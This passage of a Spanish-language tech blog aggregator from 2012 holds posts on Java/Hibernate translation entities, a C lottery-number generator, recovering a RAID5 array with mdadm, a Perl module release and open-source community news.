if (t == null) {
return false;
}
return getId().equals(t.getId());
}

@Override
@SuppressWarnings({ "unchecked", "rawtypes" })
public String toString() {
Map m = new HashMap();
m.put("id", getId());
m.put("locale", getId().getLocale());
m.put("texto", StringUtils.abbreviate(getTexto(), LONGITUD_TEXTO_ABREVIADO));
return m.toString();
}
}

// TraduccionPK.java
package com.blogspot.elblogdepicodev.domain;

import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;

import javax.persistence.Basic;
import javax.persistence.Embeddable;
import javax.persistence.ManyToOne;

@Embeddable
public class TraduccionPK implements Serializable {

private static final long serialVersionUID = 4445136951104395835L;

@ManyToOne
private Diccionario diccionario;

@Basic
private String locale;

public TraduccionPK() {
}

public TraduccionPK(Diccionario diccionario, String locale) {
this.diccionario = diccionario;
this.locale = locale;
}

public Diccionario getDiccionario() {
return diccionario;
}

public void setDiccionario(Diccionario diccionario) {
this.diccionario = diccionario;
}

public String getLocale() {
return locale;
}

public void setLocale(String locale) {
this.locale = locale;
}

//
public boolean equals(TraduccionPK t) {
if (t == null) {
return false;
}
return diccionario.equals(t.getDiccionario()) && getLocale().equals(t.getLocale());
}

@Override
@SuppressWarnings({ "unchecked", "rawtypes" })
public String toString() {
Map m = new HashMap();
m.put("dicionario", getDiccionario().toString());
m.put("locale", getLocale());
return m.toString();
}
}

// Utilidades.java
public class Utilidades {
...

public static Locale getLocale(String locale) {
String[] s = locale.split("_");
switch (s.length) {
case 1: {
return new Locale(s[0]);
}
case 2: {
return new Locale(s[0], s[1]);
}
case 3: {
return new Locale(s[0], s[1], s[2]);
}
default: {
throw new IllegalArgumentException();
}
}
}

...
}

Esta solución carga las traducciones para todos los idiomas de un diccionario cuando posiblemente solo necesitemos la traducción de un idioma en concreto, tal vez si no quisiésemos que se carguen todos los textos de las traducciones podríamos sacar el campo texto a otra tabla y relacionarla con la Traduccion con un id con lo que los campos de tablas nos quedarían: Traduccion (diccionario_id, locale, texto_id), Texto (id, texto). Aunque con esta última solución necesitamos lanzar una sql más por cada texto que queramos acceder.

Referencia:
http://www.hibernate.org/
http://www.postgresql.org/about/
http://dev.mysql.com/doc/refman/5.0/en/column-count-limit.html
http://es.wikipedia.org/wiki/Normalizaci%C3%B3n_de_bases_de_datos
http://support.microsoft.com/kb/283878/es

Apr 12, 2012

Gaspar Fernández

Gaspar Fernández
Poesía binaria feed

Linux on Movies: KDE en Miénteme

Una serie donde analizan micro-expresiones faciales y corporales para pillar a los malos. Miénteme. Analizan al milímetro los gestos de la gente y por supuesto, leen su correo en Kmail, aunque, como tapadera (ya que son todos unos expertos informáticos) reciben los e-mails a través de la lista de correo KDE-Plasma:
kde_mienteme
En el minuto 9:15 del capítulo 9 de la segunda temporada podemos ver este pantallazo durante un momento

Apr 09, 2012

Gaspar Fernández

Gaspar Fernández
Poesía binaria feed

Algoritmos: generar números aleatorios para la lotería

Es un ejemplo típico y nos muestra el uso de rand() con arrays para generar varios números aleatorios y no repetidos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/**
*************************************************************
* @file loteria.c
* @brief Saca números aleatorios para la lotería
* Basado en el sorteo de la primitiva, hay que sacar 7 números
* del 1 al 49, sin repetir
*
* @author Gaspar Fernández <blakeyed@totaki.com>
* http://totaki.com/poesiabinaria/algoritmos/
*************************************************************/


#include <stdlib.h>
#include <stdio.h>
#include <time.h>       /* para time() */


int numero_aleatorio(int desde, int hasta)
{
  return desde+rand()%(hasta-desde+1);
}

short numero_repetido(int numeros[7], int n)
{
  int i=0;

  while (i<n)
    {
      /* Si un número sacado anteriormente es igual al número
         en la posición n, decidido, está repetido. */

      if (numeros[i]==numeros[n])
    return 1;
      i++;
    }

  /* Si llegamos hasta aquí, el número no se ha repetido */
  return 0;
}

void numeros_loteria(int numeros[7])
{
  int i;

  /* El primer número lo generamos, este no se repetirá con nadie
     anterior */

  numeros[0]=numero_aleatorio(1, 49);

  /* A partir del segundo número tenemos que verificar que no se
     repite. */

  for (i=1; i<7; i++)
    {
      do
    {
      /* Generamos un número */
      numeros[i]=numero_aleatorio(1,49);
      /* Si el número está repetido, volvemos a generar */
    } while (numero_repetido(numeros, i));
    }
}

int main(int argc, char *argv[])
{
  int numeros_premiados[7];
  int i;
  srand(time(NULL));        /* Una nueva semilla de números aleatorios */

  numeros_loteria(numeros_premiados);
  for (i=0; i<7; i++)
    printf ("Numero %d -> %d\n", i+1, numeros_premiados[i]);
 
  return EXIT_SUCCESS;
}

Descargar: loteria.c (1.6Kb)

En este ejemplo vamos guardando todos los números en un array y vamos comparando los nuevos números que vamos generando con los antiguos.

Apr 04, 2012

FORAT: DaboBlog PodCast nº35
David Santo Orcero

David Santo Orcero
Gestionando el Conocimiento feed

Debate interesante

Marc Vidal, como siempre, inmenso; y la compañera de debate, extremadamente interesante. Compártelo

Apr 03, 2012

Samuel Arroyo

Samuel Arroyo
La Ventana Muerta feed

¿Cómo se hace Linux?

Últimamente estoy más que ocupado, pero quiero compartir con vosotros este vídeo de la Linux Foundation, en inglés:

Pinche aquí para ver el vídeo

Mar 27, 2012

Raúl González Duque

Raúl González Duque
Mundo Geek » Linux feed

Cómo ganar una pasta con el software libre

Esto es algo de lo que todos los defensores de Linux y del software libre en general tenemos que estar muy satisfechos, independientemente de la distribución que usemos: por fin una compañía dedicada al open source ha conseguido superar la barrera psicológica de los 1.000 millones de dólares de ingresos anuales. Y lo ha hecho, como no era difícil suponer, la compañía número 1 en lo que se refiere a Linux en la empresa: Red Hat.

Sí es cierto que hay que ser realista, y que aún estamos muy lejos de los 127.000 millones de dólares que ingresó Apple en 2011, los 72.000 millones de Microsoft, o incluso los 38.000 de Google, pero ahora ya nadie puede decir que el software libre sea un mal negocio.

Más información:

Mar 24, 2012

Ens cal ajuda amb el Catalanitzador

Projecte

Ens cal ajuda amb el Catalanitzador. De fet, com a qualsevol projecte lliure basat purament en el voluntariat sempre cal ajuda. Teniu tota la informació del projecte a la pàgina del mateix.



Deixeu-me fer-vos cinc cèntims de com podeu ajudar-nos.

Ajudant-nos a fer proves
Cada cop que publiquem una revisió menor o una versió amb canvis significatius ens cal fer moltes proves, algun cops proves de regressió força focalitzades, altres cops plans de prova complets

Si teniu ganes de provar versions, donar la vostra opinió, i ajudar a trobar errades, en aquesta àrea ens cal força ajuda.

Desenvolupament
Si teniu coneixements amb els llenguatges de programació C /C++ o en desenvolupament en entorns Windows ens cal gent que tingui ganes de participar al desenvolupament del programa. A github teniu el codi del programa i l'estat a ohloh.

Som conscients que existeix una barrera d'entrada com a qualsevol projecte de desenvolupament, per això aviat farem un hackaton presencial. Apunteu-vos ara a la llista com s'indica més avall per anar-vos familiaritzant amb el codi.

Com puc apuntar-m'hi?
Simplement apunteu-vos a la llista desenvolupament de Softcatalà i envieu un missatge presentant-vos i oferint la vostra ajuda. Molt aviat us donarem feina :)

Mar 21, 2012

David Moreno

David Moreno
Stereonaut! feed

Geo::PostalCode::NoDB 0.01

Geo::PostalCode is a great Perl module. It lets you find surrounding postal areas (zip codes) around a given an amount of miles (radius), calculate distance between them, among other nice features. Sadly, I couldn't get it to work with updated data and because the file its Berkely DB installer was producing was not being recognized by its parser, which bases off on DB_File. Since I was able to find working data for the source of zip codes, I ended up hacking the module and producing a version with no Berkeley DB support.

So basically, and taken from the POD:

RATIONALE BEHIND NO BERKELEY DB
On a busy day at work, I couldn't get Geo::PostalCode to work with newer data (the data source TJMATHER points to is no longer available), so the tests shipped with his module pass, but trying to use real data no longer seems to work. DB_File marked the Geo::PostalCode::InstallDB output file as invalid type or format. If you don't run into that issue by not wanting to use this module, please drop me a note! I would love to learn how other people made it work.

So, in order to get my shit done, I decided to create this module. Loading the whole data into memory from the class constructor has been proven to be enough for massive usage (citation needed) on a Dancer application where this module is instantiated only once.

$ sudo cpanm Geo::PostalCode::NoDB now!

Mar 19, 2012

Antonio Guillen

Antonio Guillen
make install . es feed

Recuperar raid5 tras fallar más de un disco

Un raid5 esta formado por un mínimo de tres discos duros, en uno de los cuales se almacenan los datos de paridad y en el resto de discos se distribuyen los datos. Esta estructura proporciona mayor velocidad de lectura/escritura y redundancia, permitiendo un fallo de un disco sin pérdida de datos. ¿Pero que ocurre ante un fallo -no físico- en dos discos de un raid5? En la mayoría de casos supondrá la perdida total de datos, en otros, con suerte, podrá recuperar los datos. En esta entrada se verá como, en determinadas circunstancias, se pueden recuperar los datos de un raid5 -de tres discos- tras un fallo en dos discos.
Tabla de contenidos

1.- El problema
Tras detectar que el raid5 dejó de funcionar, lo primero que hice fue revisar el buffer de mensajes del núcleo mediante dmesg. Y lo que encontré fue lo que ningún usuario de un raid5 quiere encontrar, un fallo en dos de tres discos del raid5:
[45654.643107] md/raid:md0: Disk failure on sdc1, disabling device.
[45654.643108] md/raid:md0: Operation continuing on 2 devices.
[45654.643115] md/raid:md0: Disk failure on sdd1, disabling device.
[45654.643115] md/raid:md0: Operation continuing on 1 devices.
Detuve todos los servicios y reinicie el PC en nivel monousuario. Tal y como temía el raid no levantó.
agd-desktop # mdadm --detail /dev/md0 
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent

Update Time : Wed Sep 28 02:11:56 2011
State : clean, FAILED
Active Devices : 1
Working Devices : 1
Failed Devices : 2
Spare Devices : 0

Layout : left-symmetric
Chunk Size : 512K

Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 441

Number Major Minor RaidDevice State
0 0 0 0 removed
1 8 81 1 active sync /dev/sdf1
2 0 0 2 removed

3 8 33 - faulty spare /dev/sdc1
4 8 49 - faulty spare /dev/sdd1
El problema debía ser lógico, ya que los discos duros funcionan bien. Por ello comencé a buscar el origen del problema con la esperanza de recuperar los casi 3TB de datos que había en el raid5. Los logs no habían registrado nada. Pero al analizar la salida de mdadm --examine de las unidades del raid, encontré algo raro:
agd-desktop # mdadm --examine /dev/sd[c,d,f]1
/dev/sdc1:
Magic : a92b4efc
Version : 1.2
Feature Map : 0x0
Array UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Name : agd-desktop:0 (local to host agd-desktop)
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Raid Devices : 3

Avail Dev Size : 2930061109 (1397.16 GiB 1500.19 GB)
Array Size : 5860120576 (2794.32 GiB 3000.38 GB)
Used Dev Size : 2930060288 (1397.16 GiB 1500.19 GB)
Data Offset : 2048 sectors
Super Offset : 8 sectors
State : clean
Device UUID : 29f6b0d9:7a970ca6:3508db7b:f4b1af2b

Update Time : Tue Sep 27 01:47:16 2011
Checksum : 16200b11 - correct
Events : 432

Layout : left-symmetric
Chunk Size : 512K

Device Role : Active device 2
Array State : AAA ('A' == active, '.' == missing)
/dev/sdd1:
Magic : a92b4efc
Version : 1.2
Feature Map : 0x0
Array UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Name : agd-desktop:0 (local to host agd-desktop)
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Raid Devices : 3

Avail Dev Size : 2930061109 (1397.16 GiB 1500.19 GB)
Array Size : 5860120576 (2794.32 GiB 3000.38 GB)
Used Dev Size : 2930060288 (1397.16 GiB 1500.19 GB)
Data Offset : 2048 sectors
Super Offset : 8 sectors
State : clean
Device UUID : f60a260f:2d97a646:746c8b79:77c3bbc7

Update Time : Tue Sep 27 01:47:16 2011
Checksum : 85eb9553 - correct
Events : 432

Layout : left-symmetric
Chunk Size : 512K

Device Role : Active device 0
Array State : AAA ('A' == active, '.' == missing)
/dev/sdf1:
Magic : a92b4efc
Version : 1.2
Feature Map : 0x0
Array UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Name : agd-desktop:0 (local to host agd-desktop)
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Raid Devices : 3

Avail Dev Size : 2930061109 (1397.16 GiB 1500.19 GB)
Array Size : 5860120576 (2794.32 GiB 3000.38 GB)
Used Dev Size : 2930060288 (1397.16 GiB 1500.19 GB)
Data Offset : 2048 sectors
Super Offset : 8 sectors
State : clean
Device UUID : 62b27e87:5d8c5c9a:6aa8af8e:30f4e6c2

Update Time : Wed Sep 28 02:15:01 2011
Checksum : 6247f6a9 - correct
Events : 445

Layout : left-symmetric
Chunk Size : 512K

Device Role : Active device 1
Array State : .A. ('A' == active, '.' == missing)
Si, exacto, los discos del raid se han desincronizado. De hecho es curioso porque los discos /dev/sdc1 y /dev/sdd1 se han quedado en el pasado y creen que el raid sigue activo (Array State : AAA); mientras que /dev/sdf1 ha avanzado en el tiempo y ha detectado que faltan dos discos (Array State : .A.). Aunque la forma más clara de ver todo esto es mirando las fechas de actualización de cada unidad del raid:
agd-desktop # mdadm --examine /dev/sd[c,d,f]1 | grep "Update Time"
Update Time : Tue Sep 27 01:47:16 2011
Update Time : Tue Sep 27 01:47:16 2011
Update Time : Wed Sep 28 02:15:01 2011

2.- La solución
A partir de aquí es recomendable trabajar sobre copias de los discos originales
El problema radica en una desincronización en las actualizaciones de las unidades del raid. Por ello es lógico suponer que no existen desincronización en los datos. Si este es el caso, se podría forzar el montaje del raid asumiendo que todas las unidades están limpias. En mi caso, y ante la duda de que haría el kernel con las fechas de actualización de cada disco, opte por reensamblar el raid forzando las unidades sdc1 y sdd1 como limpias.
agd-desktop # mdadm --assemble --force /dev/md0 /dev/sdc1 /dev/sdd1
mdadm: /dev/md0 has been started with 2 drives (out of 3).
agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 2
Persistence : Superblock is persistent

Update Time : Wed Sep 28 02:45:28 2011
State : clean, degraded
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0

Layout : left-symmetric
Chunk Size : 512K

Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 440

Number Major Minor RaidDevice State
4 8 49 0 active sync /dev/sdd1
1 0 0 1 removed
3 8 33 2 active sync /dev/sdc1
agd-desktop # mount /dev/md0 /mnt/
Tras comprobar que ha funcionado, y que hemos recuperado toda la información, tan solo nos quedaría añadir la siguiente unidad al raid y esperar a que se sincronice.
agd-desktop # mdadm --add /dev/md0 /dev/sdf1
mdadm: re-added /dev/sdf1
agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent

Update Time : Wed Sep 28 02:47:50 2011
State : clean, degraded, recovering
Active Devices : 2
Working Devices : 3
Failed Devices : 0
Spare Devices : 1

Layout : left-symmetric
Chunk Size : 512K

Rebuild Status : 0% complete

Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 444

Number Major Minor RaidDevice State
4 8 49 0 active sync /dev/sdd1
1 8 81 1 spare rebuilding /dev/sdf1
3 8 33 2 active sync /dev/sdc1
El proceso de reconstrucción puede ser controlado mediante watch cat /proc/mdstat:
agd-desktop # watch cat /proc/mdstat

Every 2,0s: cat /proc/mdstat Wed Sep 28 02:49:25 2011

Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 sdf1[1] sdd1[4] sdc1[3]
2930060288 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
[>....................] recovery = 0.5% (8258560/1465030144) finish=275.
5min speed=88116K/sec

unused devices:

Mar 17, 2012

Juanjo Amor

Juanjo Amor
DrAmor's Blog feed

Signing-party CACert y PGP en Madrid

 

El próximo 26 de marzo, a las 13h, tendrá lugar en el IES Clara del Rey de Madrid, un evento de verificación de identidad y firmado de claves PGP y CACert. Quienes queráis alcanzar un peldaño más en el uso de CACert (es decir, tener verificada la identidad real en los certificados digitales) o simplemente queráis aumentar vuestra red de confianza de PGP, podéis aprovechar esta reunión en la que se tratará de reunir un número suficiente de notarios CACert para aumentar esta red. Esperamos que sea un éxito :-)

Mar 16, 2012

David Moreno

David Moreno
Stereonaut! feed

Feedbag released under MIT license

I was contacted by Pivotal Labs regarding licensing of Feedbag. I guess releasing open source software as GPL only makes sense if you continue to live under a rock. I've bumped the version to 0.9 and released it under MIT license.

Feedbag 1.0, which I plan to work on during the following days will bring in a brand new shiny backend powered by Nokogiri, instead of Hpricot (I mean, give me a break, I'm trying to catch up with the Ruby community, after all I'm primarily a Perl guy :D ) and hopefully I will be able to recreate most of the feed auto-discovery test suite that Mark Pilgrim retired (410 Gone) when he committed infosuicide.

Have a good weekend!

Alberto Ruiz

Alberto Ruiz
Silicon Island feed

Final call: Planet GNOME policy changes

This is a final call for our beloved bloggers, I will be performing the removal of those blogs from people who have not joined or renewed their GNOME Foundation membership.

Mar 13, 2012

David Santo Orcero

David Santo Orcero
Gestionando el Conocimiento feed

Curso de Perl - todavía estás a tiempo

Después de varios meses con el curso de Perl, y de igual forma que el curso de LaTeX, está siendo también un éxito. Con menos matriculados -lo que ya esperaba, dada la naturaleza del curso- hace tiempo que superamos el medio centener de matriculados, y estoy obteniendo realimentaciones muy positivas en las encuestas que pongo [...]